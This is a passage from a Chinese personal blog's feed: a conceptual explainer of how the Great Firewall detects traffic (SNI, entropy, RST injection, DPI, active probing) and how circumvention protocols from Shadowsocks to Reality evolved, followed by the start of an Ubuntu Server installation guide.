class=\"font-claude-response-body break-words whitespace-normal\"><strong>证书(certificate)</strong>：TLS 握手时,网站要出示一张\"身份证\"，证明\"我真的是 google.com，不是假冒的\"。这张证书由权威机构(CA)签发。<strong>Reality 偷的\"门面\",偷的就是真实网站的这张证书表现。</strong> 自签证书 = 自己给自己发身份证,正规浏览器会警告\"不可信\"</p>\n<h5 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">5. SNI —— 信封上的\"明文收件人\"</h5>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>SNI(Server Name Indication)</strong> 是 TLS 握手里的一个字段,作用是告诉服务器\"我要访问的是哪个域名\"。为什么需要它:一台服务器可能同时托管很多网站(同一个 IP)，SNI 让服务器知道该出示哪张证书</p>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>关键破绽:SNI 是明文的。</strong> 虽然 TLS 把网页内容加密了，但握手阶段的 SNI 字段(\"我要连 google.com\")是<strong>不加密、GFW 能直接看到的</strong>。所以 GFW 根本不用破解加密,只要看 SNI 里的域名在不在黑名单里，就能封。这叫 <strong>SNI 封锁 / SNI-based blocking</strong>，是现在真 GFW 的主力手段之一</p>\n<p class=\"font-claude-response-body break-words whitespace-normal\">Reality 之所以强,一部分就是它让 SNI 显示成一个正常大站(如 microsoft.com)，GFW 看 SNI 觉得没问题就放行了</p>\n<h5 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">6. 熵值 —— 判断\"这堆数据像不像随机噪音\"</h5>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>熵(entropy)</strong> 是信息论里衡量\"<strong>不确定性 / 混乱程度</strong>\"的指标</p>\n<p>用大白话:<strong>一段数据越接近纯随机、越没规律,熵越高;越有规律、越可预测,熵越低</strong></p>\n<p class=\"font-claude-response-body break-words whitespace-normal\">举例(直觉):</p>\n<ul class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">一段中文文章 → 有语法、有重复的字词 → <strong>低熵</strong>(有规律,可压缩)</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">一段全是随机字节的加密数据 → 每个字节都像掷骰子 → <strong>高熵</strong>(无规律,压不动)</li>\n</ul>\n<p class=\"font-claude-response-body break-words whitespace-normal\">为什么 GFW 用它抓翻墙：</p>\n<ul class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>正常协议</strong>(HTTP、TLS 握手)开头都有<strong>明文的、有固定结构的部分</strong> → 那一段熵不会顶格</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>全加密翻墙协议</strong>(如 Shadowsocks)<strong>从第一个字节就是加密数据</strong> → 从头到尾高熵、看起来像纯随机噪音</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">于是 GFW 反推:<strong>一个连接如果开头就是一坨高熵随机数据、不匹配任何已知明文协议特征,那它很可疑,大概率是全加密梯子。</strong> 这就是\"全加密流量检测(fet)\"的核心判据之一</li>\n</ul>\n<p class=\"font-claude-response-body break-words whitespace-normal\">简单来说，<strong>熵值高 = 看起来太像随机噪音 = 反而暴露了\"你在藏东西\"</strong> 正常流量不会通篇都是噪音,通篇是噪音本身就是一种特征</p>\n<p class=\"font-claude-response-body break-words whitespace-normal\">早期以为\"全加密 = 最安全\"，结果恰恰相反——<strong>太干净的随机性反而成了指纹</strong></p>\n<h5 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">7.RST 注入 —— GFW 怎么\"强行挂断\"你的连接</h5>\n<p class=\"font-claude-response-body break-words whitespace-normal\">上一轮讲过 TCP 用 RST 包表示\"立即终止\"。<strong>RST 注入(RST injection)</strong> 是 GFW 的经典主动干预手段:</p>\n<p class=\"font-claude-response-body break-words whitespace-normal\">GFW 在旁边监听你的连接,一旦判定要阻断,它<strong>伪造一个看起来来自对方的 RST 包</strong>塞进来。你的电脑收到这个\"对方发来的\"RST，以为是服务器要断开,就真的把连接关了</p>\n<p class=\"font-claude-response-body break-words whitespace-normal\">关键点:</p>\n<ul class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">GFW <strong>不需要拦截或代理你的流量</strong>，它只是旁路监听 + 注入伪造包，成本极低，能大规模部署</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">伪造的前提是它能看到你连接的序列号(TCP 包的编号)，而这些在明文 TCP 头里——所以加密网页内容没用，TCP 头它照样看得见</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">你观感上是\"连一下就断/重置\"，和我们实验里的 OpenGFW 的\"丢包超时\"不同</li>\n</ul>\n<h5 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">8.中间人 &amp; 旁路 —— GFW 站在什么位置</h5>\n<ul class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>旁路(on-path / passive)：</strong>GFW 像路边装了个摄像头，流量从主干道过,它复制一份来看,必要时往里\"扔\"伪造包(如 RST 注入、DNS 污染)。它不挡在你和服务器中间,所以<strong>不能修改真实流量,只能抢先注入</strong>（真 GFW 主体是这种模式——因为要处理的流量太大，做不到全都拦下来）</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>中间人(in-path / MITM)</strong>：真正挡在中间,所有流量必须穿过它,它能改、能拦、能代理</li>\n</ul>\n<h5 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">9.DPI —— 深度包检测</h5>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>DPI(Deep Packet Inspection,深度包检测)</strong> 是个统称，指\"不只看包的信封(IP/端口)，还拆开看内容和特征\"（上一轮讲的协议指纹识别，SNI 提取，熵值分析，全都属于 DPI 的范畴）</p>\n<p class=\"font-claude-response-body break-words whitespace-normal\">对比:</p>\n<ul class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>浅层检测</strong>:只看 IP 和端口(如\"封掉这个 IP\")，快但粗。</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>DPI</strong>:深入看数据包里的模式、协议特征、字段(如\"这个连接的握手像 Trojan\")</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">OpenGFW 的 analyzer 层做的就是 DPI</li>\n</ul>\n<h5>10.主动探测</h5>\n<p class=\"font-claude-response-body break-words whitespace-normal\">研究者是怎么<strong>证实 </strong>GFW 在主动探测的?</p>\n<p class=\"font-claude-response-body break-words whitespace-normal\">方法很巧：GFW 架一个只有自己知道的 Shadowsocks 服务器，不告诉任何人 IP。结果没多久，就有<strong>来自中国的陌生 IP 主动来连这个服务器，</strong>发各种畸形探测包。既然除了自己没人知道这个 IP，那这些探测只可能来自\"看到了流量、记下 IP、来复查\"的 GFW。这是\"主动探测\"从猜测变成实锤的经典研究</p>\n<h5>11.加密 DNS(DoH / DoT)—— 对抗 DNS 污染的手段</h5>\n<p class=\"font-claude-response-body break-words whitespace-normal\">既然 DNS 污染的根源是\"DNS 查询是明文,GFW 能看能改\"，那对策就是<strong>把 DNS 查询也加密：</strong></p>\n<ul class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>DoH(DNS over HTTPS)</strong>：把 DNS 查询伪装成普通的 HTTPS 请求(443 端口),GFW 看到的只是\"你在访问某个 HTTPS 网站\",看不出你在查 DNS，也就没法投毒</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>DoT(DNS over TLS)</strong>：类似,但用专门的 853 端口（反而容易被端口封锁，所以 DoH 更流行）</li>\n</ul>\n<h5 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">12.端口封锁 &amp; 协议白名单</h5>\n<ul class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>端口封锁</strong>：直接封某些端口，比如 DoT 的 853、某些 VPN 的固定端口。所以翻墙协议大多躲在 443(HTTPS 端口)后面——因为封 443 等于封掉全网 HTTPS，代价太大，GFW 不敢</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>这解释了一个现象</strong>：为什么几乎所有现代翻墙协议都伪装成 443 上的 TLS 流量？因为 <strong>443 是\"不能封的港湾\"，</strong>挤进去就获得了\"投鼠忌器\"的保护</li>\n</ul>\n<h5>说完了一些常见的 GFW 的检测手段的技术名词，接下来我们来探讨一下，翻墙协议演化史</h5>\n<h5 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">第 0 代:VPN(PPTP / L2TP / OpenVPN / IPsec)</h5>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>思路</strong>:建一条加密隧道,所有流量走隧道出境<br><strong>破绽</strong>:VPN 协议有<strong>明显固定的握手特征和固定端口</strong>。OpenVPN 的握手、IPsec 的特征,GFW 的 DPI 一看一个准<br><strong>结局</strong>:特征太明显,容易被批量识别封锁。于是需要\"看起来不像 VPN\"的东西</p>\n<h5 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">第 1 代:Shadowsocks(SS)—— \"让流量看起来像随机噪音\"</h5>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>思路</strong>:不做\"隧道\",而是一个加密的 SOCKS 代理。核心创新是<strong>从第一个字节就全加密,没有任何明文握手特征</strong>。GFW 想找指纹?没有指纹给你找<br><strong>GFW 的反击</strong>:既然找不到\"像 SS 的特征\",那就反过来找\"<strong>不像任何正常协议</strong>的特征——全加密 = 高熵随机流(就是上一轮讲的 fet)。再配合<strong>主动探测</strong>:看到可疑全加密流,主动连过去试探,SS 服务器对畸形包的响应模式暴露了自己<br><strong>结局</strong>:SS 被\"全加密流量检测 + 主动探测\"两面夹击,大量 IP 被封。<strong>教训:太干净的随机性,本身就是一种指纹</strong></p>\n<h5 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">第 2 代:混淆插件(obfs / simple-obfs / v2ray 的 mKCP 等)</h5>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>思路</strong>:既然\"纯随机\"暴露,那就给 SS 套个壳,伪装成别的东西。比如 <strong>obfs 把流量伪装成普通 HTTP 或 TLS</strong>,让开头有点\"正常协议的样子\"<br><strong>破绽</strong>:伪装得不够真。伪装成 TLS,但 TLS 握手细节(证书、扩展字段)经不起细看;而且<strong>这些伪装本身又成了新指纹</strong>(GFW 学会认\"假 TLS\")<br><strong>结局</strong>:一时管用,但伪装和真实之间总有缝,DPI 精细化后逐渐失效</p>\n<h5 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">第 3 代:Trojan —— \"干脆用真的 TLS,别伪装了\"</h5>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>思路</strong>:一个反直觉的聪明想法——<strong>不要\"伪装成 TLS\",而是\"就用真正的 TLS\"</strong>。Trojan 服务器就是一个<strong>真的 HTTPS 网站</strong>(有真实域名、真实证书)。翻墙流量披着完全合法的 TLS 外衣;<strong>如果有人(或 GFW)不带正确密码来访问,服务器就给他看一个真实的正常网页</strong>,表现得和普通网站毫无区别<br><strong>破绽</strong>(也是你场景B 的核心):</p>\n<ul class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">Trojan 虽然用真 TLS,但<strong>它的 SNI 用的是你自己的域名</strong>——这个域名没有真实网站的访问历史、没有名气,GFW 可以针对\"连向冷门小域名的 TLS + 流量特征\"下手</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">内层 payload 结构仍有一定可识别性(所以 OpenGFW 有 Trojan analyzer 能启发式认它)</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">依赖你<strong>自己买域名</strong>,域名一旦被标记就完了<br><strong>结局</strong>:比前几代强很多,但\"用自己的域名\"是软肋。下一代要解决的就是这个</li>\n</ul>\n<h5 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">第 4 代:VLESS + XTLS + Reality —— \"偷用别人的真域名\"</h5>\n<p class=\"font-claude-response-body break-words whitespace-normal\">这是你场景C 的主角,分三个词拆:</p>\n<ul class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>VLESS</strong>:一个<strong>轻量的传输协议</strong>,本身不加密(把加密交给外层 TLS 负责),减少冗余特征。可以理解成\"更干净的 Trojan 内核\"</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>XTLS</strong>:一种优化,让加密不做两遍(避免 TLS 套 TLS 的性能损耗和特征),这里不用深究</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>Reality</strong>(最关键):解决 Trojan\"得用自己域名\"的死穴</li>\n</ul>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>Reality 的核心魔法：</strong>它<strong>不需要你买域名、不需要你自己的证书</strong>。它在 TLS 握手时,<strong>直接借用一个真实知名大站(如 microsoft.com)的握手和证书</strong>——你的 SNI 显示成 microsoft.com,证书也是微软的真证书(因为握手被转发给了真的微软)</p>\n<p class=\"font-claude-response-body break-words whitespace-normal\">对 GFW 来说：</p>\n<ul class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>看 SNI</strong>:是 microsoft.com，正常大站，不敢封(封了误伤全国访问微软)</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\"><strong>主动探测</strong>：GFW 伪装成客户端来连你的 VPS 试探你的服务器<strong>把它当成不认识的访客，直接把它的握手转发给真正的 microsoft.com，</strong>让它看到一个<strong>货真价实的微软网站</strong>。GFW 探测的结果是\"这就是个访问微软的正常服务器\"，无从下手</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">只有<strong>握手中带了正确密钥的真实用户</strong>，服务器才切换到翻墙模式</li>\n</ul>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>这就是为什么 Reality 目前很难被识别</strong>:它同时骗过了<strong>被动检测</strong>(SNI、证书、指纹全正常)和<strong>主动探测</strong>(探测者看到真微软)。这是当前攻防的前沿</p>\n<h5>把演化串成一句话</h5>\n<pre class=\"language-markdown line-numbers\"><code>VPN:有明显特征        → 被指纹识别封\nSS:全加密无特征       → 被\"全加密=高熵\"和主动探测封\nobfs:伪装成正常协议   → 伪装不够真,又成新指纹\nTrojan:用真 TLS      → 但用自己冷门域名,是软肋\nReality:偷真站门面    → 被动/主动探测都正常,当前最难识别</code></pre>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>贯穿始终的博弈逻辑：</strong></p>\n<ol class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-decimal flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">翻墙方想让流量\"看起来正常\"</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">GFW 就找\"什么叫不正常\"的特征</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">每一次\"藏\"的方式,都可能变成新的\"特征\"</li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">直到 Reality 想通——<strong>与其自己造一个\"正常\",不如直接借用一个真实的正常</strong></li>\n</ol>\n<p>下面我总结了一个目前比较常见的协议图，可供参考</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/58/Ping-Mu-Jie-Tu-2026-07-02-223130.png\" alt=\"\" width=\"1671\" height=\"630\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/58/responsive/Ping-Mu-Jie-Tu-2026-07-02-223130-xs.webp 320w ,https://old.zeyun.org/media/posts/58/responsive/Ping-Mu-Jie-Tu-2026-07-02-223130-sm.webp 480w ,https://old.zeyun.org/media/posts/58/responsive/Ping-Mu-Jie-Tu-2026-07-02-223130-md.webp 768w ,https://old.zeyun.org/media/posts/58/responsive/Ping-Mu-Jie-Tu-2026-07-02-223130-xl.webp 1024w\"></figure>\n<p class=\"align-center\"><strong>免责与说明</strong><br>本表格是为帮助理解\"翻墙协议演化\"而做的<strong>教学性归纳</strong>，服务于本篇文章的技术讨论，不构成任何使用建议，抗审查技术处于持续对抗中，未来实际情况可能与此不同，阅读时请结合协议官方文档与最新研究判断</p>\n<h6 class=\"align-center\">相信看完这些，你会对于 GFW 有一个清晰的理解</h6>",
            "author": {
                "name": "云泽"
            },
            "tags": [
                   "内网模拟GFW实验系列",
                   "Linux学习笔记"
            ],
            "date_published": "2026-05-06T22:13:44+09:00",
            "date_modified": "2026-07-08T10:16:25+09:00"
        },
        {
            "id": "https://old.zeyun.org/security_enhancement_of-cloud_servers.html",
            "url": "https://old.zeyun.org/security_enhancement_of-cloud_servers.html",
            "title": "云服务器的安全加固",
            "summary": "买了云服务器，第一件事不是装软件，而是把安全基础打好 很多人拿到服务器就直接开始装宝塔、建网站，结果没多久就被扫描爆破（轻则跑满带宽，重则数据全丢）本文整理了一套适用于 Ubuntu Server 的安全加固流程，按步骤做完基本能挡住绝大多数自动化攻击&hellip;",
            "content_html": "<p class=\"font-claude-response-body break-words whitespace-normal leading-[1.7]\">买了云服务器，第一件事不是装软件，而是<strong>把安全基础打好</strong></p>\n<p class=\"font-claude-response-body break-words whitespace-normal leading-[1.7]\">很多人拿到服务器就直接开始装宝塔、建网站，结果没多久就被扫描爆破（轻则跑满带宽，重则数据全丢）本文整理了一套适用于 Ubuntu Server 的安全加固流程，按步骤做完基本能挡住绝大多数自动化攻击</p>\n<p class=\"font-claude-response-body break-words whitespace-normal leading-[1.7]\"><strong>实验环境：</strong> Ubuntu Server 22.04.5 LTS（推荐版本，兼容性最好）</p>\n<pre class=\"language-bash line-numbers\"><code>Ubuntu 的版本命名\n├── 按\"有没有图形界面\"分\n│   ├── Desktop 版  → 有桌面，给普通电脑用\n│   └── Server 版   → 纯命令行，给服务器用\n│\n└── 按\"支持周期\"分\n    ├── LTS 版      → 长期支持，5年维护\n    └── 普通版      → 只维护9个月</code></pre>\n<p>Ubuntu镜像下载：<a href=\"https://ubuntu.com/download/server/thank-you?version=22.04.5&amp;architecture=amd64&amp;lts=true\" target=\"null\">点我跳转</a></p>\n<p>之前演示了安装Ubuntu Desktop版本（<a href=\"https://old.zeyun.org/install_ubuntu.html\" target=\"_blank\" rel=\"noopener noreferrer\">点我跳转</a>）</p>\n<p>现在我将演示一下如何从零安装没有图形化版本的 Ubuntu Server 22.04.5 LTS</p>\n<p>*由于我是本地安装，所以没有ssh连接的这个步骤（正常你选择购买云服务器的话，通常是安装好的版本，可直接跳转至后半段的安全加固的部分）</p>\n<h5>第一步：选择<code>Try or Install Ubuntu Server</code></h5>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-221214.png\" alt=\"\" width=\"1766\" height=\"979\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-221214-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-221214-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-221214-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-221214-xl.webp 1024w\"></figure>\n<h5>第二步：选择界面为<code>English</code></h5>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-222252.png\" alt=\"\" width=\"1566\" height=\"974\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222252-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222252-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222252-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222252-xl.webp 1024w\"></figure>\n<h5>第三步：键盘选择默认的<code>English</code>，这里是<code>Done</code>，点击继续</h5>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-222339.png\" alt=\"\" width=\"1565\" height=\"978\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222339-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222339-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222339-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222339-xl.webp 1024w\"></figure>\n<h5>第四步：保持 (X) Ubuntu Server （已经选中即可），不要勾 \"Ubuntu Server (minimized)\"（那个是极简版，功能少），不要勾 \"Search for third-party drivers\"（我们不需要）</h5>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-222506.png\" alt=\"\" width=\"1569\" height=\"980\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222506-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222506-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222506-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222506-xl.webp 1024w\"></figure>\n<h5>第五步：配置IP地址（由于我是虚拟环境，所以我这里需要手动配置IP地址）如果你买的VPS云服务器，那么这个IP/DNS是默认给你配好的，千万不要改动！</h5>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-222723.png\" alt=\"\" width=\"1569\" height=\"979\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222723-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222723-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222723-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-222723-xl.webp 1024w\"></figure>\n<h6>我这里需要手动配置IP地址（仅供参考）</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-223249.png\" alt=\"\" width=\"1573\" height=\"979\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223249-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223249-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223249-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223249-xl.webp 1024w\"></figure>\n<h5>第六步：代理配置（这里我们不需要配置代理，所以留空，直接选择<code>Done</code>即可）</h5>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-223335.png\" alt=\"\" width=\"1565\" height=\"981\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223335-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223335-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223335-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223335-xl.webp 1024w\"></figure>\n<h5>第七步：配置源（这里我就默认选择官方的源了，后续可换的）这里直接选择<code>Done</code>下一步即可</h5>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-223458.png\" alt=\"\" width=\"1563\" height=\"974\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223458-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223458-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223458-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223458-xl.webp 1024w\"></figure>\n<h6>这里是我网段设置的缘故，直接选择<code>Continue</code>即可</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-223711.png\" alt=\"\" width=\"1569\" height=\"980\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223711-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223711-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223711-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-223711-xl.webp 1024w\"></figure>\n<h5>第八步：磁盘分区选项</h5>\n<h6 dir=\"auto\">和我一样，把 (X) Use an entire disk → 保留（使用整块磁盘），(X) Use an entire disk → 保留（使用整块磁盘）打上 X 即可</h6>\n<ul>\n<li><strong>不要勾</strong> Encrypt with LUKS（加密）——除非你特别需要加密，否则不要选</li>\n<li><strong>不要选</strong> Custom storage layout</li>\n</ul>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/57/Ping-Mu-Jie-Tu-2026-05-06-224041.png\" alt=\"\" width=\"1559\" height=\"972\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224041-xs.webp 320w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224041-sm.webp 480w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224041-md.webp 768w ,https://old.zeyun.org/media/posts/57/responsive/Ping-Mu-Jie-Tu-2026-05-06-224041-xl.webp 1024w\"></figure>\n<h6 dir=\"auto\">最终的磁盘分区确认界面（选择<code>Done</code>即可）</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  